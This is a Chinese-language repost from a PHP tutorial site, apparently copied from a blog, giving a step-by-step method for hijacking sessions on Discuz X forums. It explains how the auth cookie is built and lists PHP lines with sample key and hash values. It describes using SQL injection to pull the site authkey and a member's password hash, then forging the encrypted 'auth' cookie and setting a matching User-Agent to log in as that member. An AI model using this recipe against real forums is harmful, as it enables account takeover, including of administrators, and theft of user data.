好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

discuz sessoin hijack tips 续 - 网站安全 - 自学php

前面发的是UCHOME: http://HdhCmsTest2cto测试数据/Article/201108/100740.html

为 免有装B的嫌疑, 干脆DISCUZ 论坛 的SESSION劫持方法也一并公布了。转载请保留原始URL,谢谢.

 

DISCUZ X系列论坛的session和UCHOME不同,生成session使用的authkey不是程序的UCKEY,看看DZ的代码就了解啦:

 

1. 浏览器 类型和$_config['security']['authkey']加起来生成了一个全局的authkey

$this->var['authkey'] = md5($_config['security']['authkey'].$_SERVER['HTTP_USER_AGENT']);

 

2.authcode 加密 算法的密钥取的是全局的authkey

$key = md5($key != '' ? $key : getglobal('authkey'));

 

3.生成的session原文是member表中的HASH和UID。

dsetcookie('auth', authcode("{$member['password']}\t{$member['uid']}", 'ENCODE'), $cookietime, 1, true);

 

4. 有了前面三点条件后,就可以伪造session了.

用SQL注入在pre_common_setting表中注出$_config['security']['authkey'],在pre_common_member表中注出password和uid.

先生成全局的authkey:$k = md5('b158e2zmrkmGVcP1'.'AAA');

再取hash和uid组成seesion原文: $s = "326ed89bc5ca336bcb6f71545b537492"."\t"."1";

最后使用authcode生成加密seesion:authcode($s,'ENCODE',$k);

 

5.绕过DISCUZ的安全验证。

浏览器类型的验证:浏览器类型是密钥中绑定的一部分,所以参照4需要将User-Agent设成AAA。

 

from:http://hi.baidu测试数据/rayh4c/blog/item/462a382a73a1e9225243c1f7. html

查看更多关于discuz sessoin hijack tips 续 - 网站安全 - 自学php的详细内容...

  阅读:33次